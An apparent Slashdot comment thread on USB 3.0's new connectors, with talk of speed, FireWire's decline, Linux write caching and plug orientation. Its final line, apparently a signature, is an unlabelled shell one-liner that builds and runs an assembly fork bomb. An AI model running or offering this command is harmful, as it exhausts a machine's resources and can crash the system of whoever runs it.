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USB 3.0's New Jacks and Sockets
The Register has a brief look posted (with photos and diagrams) of "USB 3.0, the upcoming version of the universal add-on standard re-engineered for the HD era, made a small appearance at the Consumer Electronics Show (CES)." The posting explains that USB 3.0 "wasn't demonstrated in operation, but we did get to see what the new connectors look like." How does it handle backward compatibility? The extra pins needed for USB 3.0 "are placed behind the USB 1.1/2.0 ones. USB 3.0 connectors and receptacles will be deeper than the current ones."
I wonder about the new speed specification... in my experience even with no other devices on the USB bus getting 480mbit was impossible. I always had to resort to firewire for my drive caddy because I got consistent results with it.
I sure hope they've addressed this issue. The OS caching helped, unless you wanted to unplug the damn thing right away - then you had to wait 5 minutes for the cache to flush out.
-Little fingers inside existing fingers to work with legacy USB devices... Does anyone rememeber the EISA slot standard designed to allow inserting a ISA card?
Now all we need is a MCA driver and we are in busienss for the new world of 1992.
- Minutus cantorum, minutus balorum, minutus carborata descendum pantorum.
Is the software side of USB an open specification or some members only, pass the royalty thing that the open source world will have to take the next ten years reverse engineering?
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Oooh. It's faster. Wow. Didn't see that happening.
Did they fix the CPU overhead? Did they make a P2P version so that I don't need a computer to connect a camera to a hard drive and have it work? Basically, did they do anything to improve it for high-bandwidth applications (which is obviously what they're targeting) compared to FireWire?
The cable worries me some. I understand the drive for backwards compatibility, but it seems like they should make the cable more obviously different. It just looks like it will be too easy to accidentally use a USB 2 cable, not realize it, and then wonder why the device is running so slow. Just a little nub on the bottom of the connector would do it.
Comment forecast: Bits of genius surrounded by a sea of mediocrity.
... that longer male connectors are better.
Funny how I just upgraded to a new computer that uses SATA 3.0Gb/s. If USB3 is faster than SATAII, then why not just use that for drives? Not that anyone ever really maxes out SATAII to begin with. So it's all kind of useless in the end.
google.slashdot
So they're going with a 3.0 instead of some crazy More Full Speed (TM) name this time?
the more things change, the more they stay the same -- now
they're back to using 9 pins to implement the spec -- other than
making the connectors physically different so people don't end up
plugging in old RS-422 cables into it -- from the number of actual
pins needed to implement a spec -- we're physically back to using
9 pins that were available in the DB9 form factor, only this connector
is considerably more difficult to manufacture.
Because there's more to a bus than the bandwidth. USB has a lot of overhead (it can be branched, hook many devices etc). SATA is dedicated for controlling storage. That's why we put cameras on the USB, hard-drives on a SATA bus, the network card on the PCI bus, video card on the VESA bus ...
They'll come up with that later. USB 1 had two data rates: "low speed", 1.5Mbits/s, and "full speed", 12Mbits/s. USB 2.0 added "high speed" at 480Mbits/s. No idea what superlative they'll reach for this time.
p>Whatever they come up with, in the end, I have only one wish for the USB3 hardware developers: that they be made to plug 1000 of them in upside down in the dark.
What happened to firewire? All signs point to it going extinct in the very near future....
Wasn't it vastly superior to USB? It had a higher maximum throughput that could almost be realistically achieved, delivered useful amounts of power over the bus, and allowed devices to talk to each other. The audio/video features are pretty nice as well....
Both firewire and usb were well-supported on all platforms, so *that*'s not the issue. It's also robust, to the point of being found in many modern aircraft designs and the space shuttle.
IEEE1394c is even cooler, and uses CAT5e/RJ45 for wiring, allowing for automatic negotiation between other 1394 devices, and normal ethernet devices. Max speed is 800mbps, and it very nicely bridges the gap between "traditional" peripherals, and network-attached devices.
So what happened? Did I miss something? Who killed Firewire?
-- If you try to fail and succeed, which have you done? - Uli's moose
Can they start color coding USB cable types? Some of us old timers have been around since 1.0 was popular. I've got a box full and it's always fun trying to find the 2.0 cable hiding among the 1.0 cables.I hate to toss them but I really haven't any use for 1.0 cables. I'd just love to see some kind of coding system since they all use the same connectors. At least with hard drives every time they change them we get new connectors. It may make them backwardly compatible but it does cause confusion.
Aargh, this connector is *still* symmetrical vertically in form factor but not electrically. Which means you'll have people fumbling behind computers/laptops turning the connectors upside-down until the cable is twisted trying to plug in their camera/mouse/hdd/coffee maker.
Either change the shape of the connector (something like RJ11 would be fine) or make the pins such that it can be inserted right-way up or upside down (figure-eight power cable connectors for example).
"Nine times out of ten, starting a fire is not the best way to solve the problem." - my wife
This seems like a step backwards. Four pins and shielding was a good number; more makes the cables big and requires more connections on the circuit board.
I bought a USB OTG external hard drive that is supposed to be able to copy files off a slave device, and a box that is supposed to support two master devices and initiate copies between them - neither work at all with any USB storage I have tried.
USB OTG is a farce.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
You'll just need to dedicate six of your eight cores in the 3GHz Intel chip for the process overhead.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Jacks are sockets. It's always been a great mystery of tech jargon to me that female connectors are referred to as jacks.
This will be great for the people with portable music players, obviously because of the lightning speed. If the USB2 can do 480Mbps and syncing 2 hours of videos to my iPod takes just over minute then I'd really like to see it transfer so much data in about 7 seconds, maybe?
Comedy isn't pretty.
You better watch out, there may be dogs about . .
"So what happened? Did I miss something? Who killed Firewire?"
Patent royalties, I believe, or at least that's the popular impression: this guy seems to be saying that Steve Jobs attempted to hike the royalty price and though he wasn't ultimately successful, perhaps the mere suggestion that he could was enough to sour third party implementors and move them to USB.
Like with Token Ring vs Ethernet and Objective-C vs C++, the answer seems to be that if there's a nearly-almost-good-enough open technology and a way-cool but closed/expensive technology fighting for the same market with no network effects yet in place, the open (at least in terms of free-to-implement) one wins.
You are not a brain: http://books.google.com/books?id=2oV61CeDx-YC
Too bad they're adding the 5 new pins (given, 1 of them is in theory good old GND but still). As an EE, the one thing I liked about USB over Firewire is its physical simplicity... power, ground, and a differential bus. With 1394c heading towards RJ45 it's like USB and 1394 have traded places in terms of physical convenience (I'm sure a number of people have had the pleasure of dealing with ultra-over-engineered (and consequently overpriced) 1394a/b cables and repeaters.. oh the repeaters).
..Not like the host-heavy USB stack made it a much-liked protocol for me in the first place.
Ludicrous speed!
Will they paint the connectors plaid?
My gut tells me there will not be any MS-written USB 3.0 device drivers for Windows XP. Artificially making an OS "obsolete" by not providing drivers for new hardware is one way to accelerate the adoption of Vista. The code words that surround this new standard vis-a-vis Microsoft Windows reveal the inclusion of Vista-style DRM (e.g. "the HD era"). With that in mind I see MS declaring that USB 3.0 drivers for XP are technically "impossible" for reasons that will prove bogus. They may have legitimate business reasons for not providing drivers, but those won't be the reasons they trot out in public.
Seriously annoying. Is it that difficult to have (name your distribution here) Linux do an automatic sync every couple seconds when a USB drive is connected.
Waiting 2 minutes to unmount without any progress meter is just broken UI design.
Help! I'm a slashdot refugee.
syncing every few seconds isn't the good 'fix'. Using mount -o sync on obviously transient mounts would be the 'fix' to the problem described. If you sync ever so often, there *still* is no good way to track it/indicate it, while the fs being mounted with sync means the file write operation itself can be tracked more accurately.
Of course, the line to draw at what is 'obviously' transient may be hard, but I think 4GB and under and USB connected is a good rule of thumb today of transient sticks vs. persistantly attached usb storage. When you get into the realm of 'guessing' the intent of the user implicitly, things get hairy.
XML is like violence. If it doesn't solve the problem, use more.
Though this comment shall be absolutely buried by now, I must voice my opinion:
I absolutely HATE the A-series (the most common) USB plug. If you are going by feel alone, you have a 50% chance of orienting the plug correctly the first time.
So frustrating. (And so is the round DIN, but that's for another time)
A good design, like D-subminiature, CAT5, and headphone jack make blind insertion easy and near-foolproof (no sex jokes please, slashdotters).
USB B-series is a lot better, but sadly isn't as ubiquitous.
Also: I'm guessing that PCI expansion cards couldn't fully utilize USB3.0?
The CPU can request an interrupt when a transfer is complete or at the end of a frame to add new descriptors and remove ones that have completed. It's all pretty elegant really. Essentially when you want to send something you add a descriptor and then later you get an interrupt when the transfer is done, even if it took a few retries. It has to be like this, since Windows 95 had terrible worst case interrupt latency and that was where USB started off.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;